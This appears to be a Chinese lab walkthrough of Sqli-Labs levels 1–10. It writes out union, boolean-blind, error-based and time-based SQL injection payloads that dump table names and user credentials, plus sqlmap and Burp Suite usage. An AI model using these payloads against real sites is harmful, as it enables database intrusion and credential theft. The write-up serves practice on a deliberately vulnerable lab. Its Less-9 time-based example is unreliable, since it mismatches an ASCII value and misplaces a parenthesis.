Sqli-Labs(1--10)
Less-1 (前四关联合注入)
输入 1’ 出现错误,发现 ’ 将原有语句中 ’ 闭合,从而多了一个 '。
输入 1’ and ‘1’=‘1’ --+ 成功回显。
接下来判断字段数;使用 order by 语句。
order by 4 报错。
order by 3 成功回显。
说明字段数为 3 。
使用联合注入, union select 1 ,2 ,3 判断回显位置。
发现 2 ,3 位置有回显。
通过 2,3 位置查看当前数据库名称 :security
语句: -1’ union select 1,2,database() --+
判断表名:
语句: -1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = ‘security’ --+
查字段名:
语句:-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name = ‘users’ --+
获得数据:
语句: -1’ union select 1,group_concat(username),group_concat(password) from users --+
Less-2
第二关数字型:
使用语句 1 and 1=1 --+ 得到结果,其余方式与第一关类似,不在叙述。
Less-3
第三关使用 ') 进行闭合,不在赘述。
Less-4
第四关使用 ") 进行闭合,便不再赘述。
Less-5 (5-7布尔盲注,报错注入)
使用 1 ’ and ‘1’ = ‘1’ --+ 有反馈,说明sql语句使用单引号进行闭合。
针对布尔盲注,步骤如下:
1.判断数据库长度。
2.判断数据库名称。
3.判断表的数量。
4.判断每个表的长度。
5.判断每个表的名称。
6.判断列的数量。
7.判断列的长度。
8.判断列的名称
9.判断字段数,字段名,数据。
1.判断数据库长度:
使用 length () 函数。
语句:
1’ and length(database())=8 --+ 有回显,说明数据库长度为8.
2.判断数据库名称
使用 ascii() 和 substr() 函数。
语句:
1’ and ascii(substr(database(),1,1))=115 --+ 说明数据库第一个字符的ASCII码值为115,对应字符为 s ;以此类推,得出其他7个字符,最后得出数据库名称为 security 。
3.判断表的数量:
使用 count() 函数。
语句: 1’ and (select count(table_name) from information_schema.tables where table_schema = ‘security’) = 4 --+ 有反馈,说明表的数量为 4 。
4.判断每个表的长度。
使用 limit 函数。
语句: 1’ and length((select table_name from information_schema.tables where table_schema = ‘security’ limit 0,1)) = 6 --+ 有反馈,说明第一个表的长度为6.
以此类推,得出其他三个表的长度。
5.判断每个表的名称:
语句: 1’ and ascii(substr((select table_name from information_schema.tables where table_schema = ‘security’ limit 3,1),1))=117 --+ ,说明第四个表的第一个字符ASCII码值为117,对应字符为 u 。
以此类推,得出表名为 users 。
判断字段(列)与表的方法类似,不在赘述。
这里使用 SQLMAP 获得数据。
所有函数及工具的使用请自行查阅资料,不在赘述。
- 查看当前数据库名称。–dbs
询问是否跳过其他特殊的方式,选择y。
获得了许多信息,
2.使用 -D 参数指定数据库,- -tables 获得表名。
获得表名:
3.使用 -T 指定表名 - -columns 获得字段名:
4.使用 -C 指定字段名,- -dump获得数据:
因为已知是布尔盲注,所以可以添加参数指定使用布尔盲注:
具体参数为 --technique B 。
使用报错注入:
涉及函数:
floor() 向下取整
rand() 在0和1之间产生一个随机数
rand(0)*2 在0和2之间产生一个随机数
extractvalue()
updatexml()
group by()
报错注入原理:
报错注入原理
使用语句:
1.floor()、rand()、group by():
select count(*),concat((select database()),floor(rand(0)*2))as dbs from information_schema.schemata group by dbs;
2.extractvalue():
select extractvalue (1,concat(0x7e,select database(),0x7e))
3.upadtexml:
select updatexml (1,concat(0x7e,select database(),0x7e),1)
具体使用方法:
报错注入学习及利用报错注入
Less-6
第六关使用 " 进行闭合,这里使用burpsuite暴力破解得到相应的数据。
1.直接从数据库名称开始:
可以选择使用ASCII码,也可直接选择字母进行暴力破解。
这里直接对字母暴力破解。
语句: 1" and substr(database(),1,1)=‘a’ --+
使用 intruder 模块中的Clusterbomb(集束炸弹)方式。
添加参数:
设置payload:
第一个参数:
第二个参数:
开始爆破:
得出结果,数据库名称为 security
暴力破解表(列)的个数、长度、名称主要是参数的选取及payload设置的问题,不在赘述。
Less-7
第七关使用 ')) 进行闭合,不在赘述。
Less-8
我是彩笔,不知道和第五关有什么区别 0.0
Less-9(9-10时间盲注)
与布尔盲注不同点,无法通过反馈判断是否注入成功。
id = 1:
id = -1:
使用 sleep() 函数和 if 判断。
当然布尔盲注也可以使用时间盲注获得数据。
步骤与布尔盲注相同:
1.判断数据库长度。
语句: 1’ and if(length(database())=8,sleep(5),1) --+
页面加载有延时,说明数据库长度为8.
2.判断数据库名称
语句: 1’ and if(ascii(substr(database(),1,1)=117),sleep(5),1) --+
有延时,说明第一个字符的ASCII码为117,对应字符为 s ;以此类推,获得数据库的名称。
剩下步骤只是在布尔盲注语句的基础上增加了 if 判断,不再依次叙述。
已知为时间盲注,拿SQLMAP跑一下 ^ _ ^ …
查的当前数据库:
查询当前用户:
滴滴:
查表、字段、数据,不再列出。
Less-10
第十关使用 " 进行闭合,不在赘述。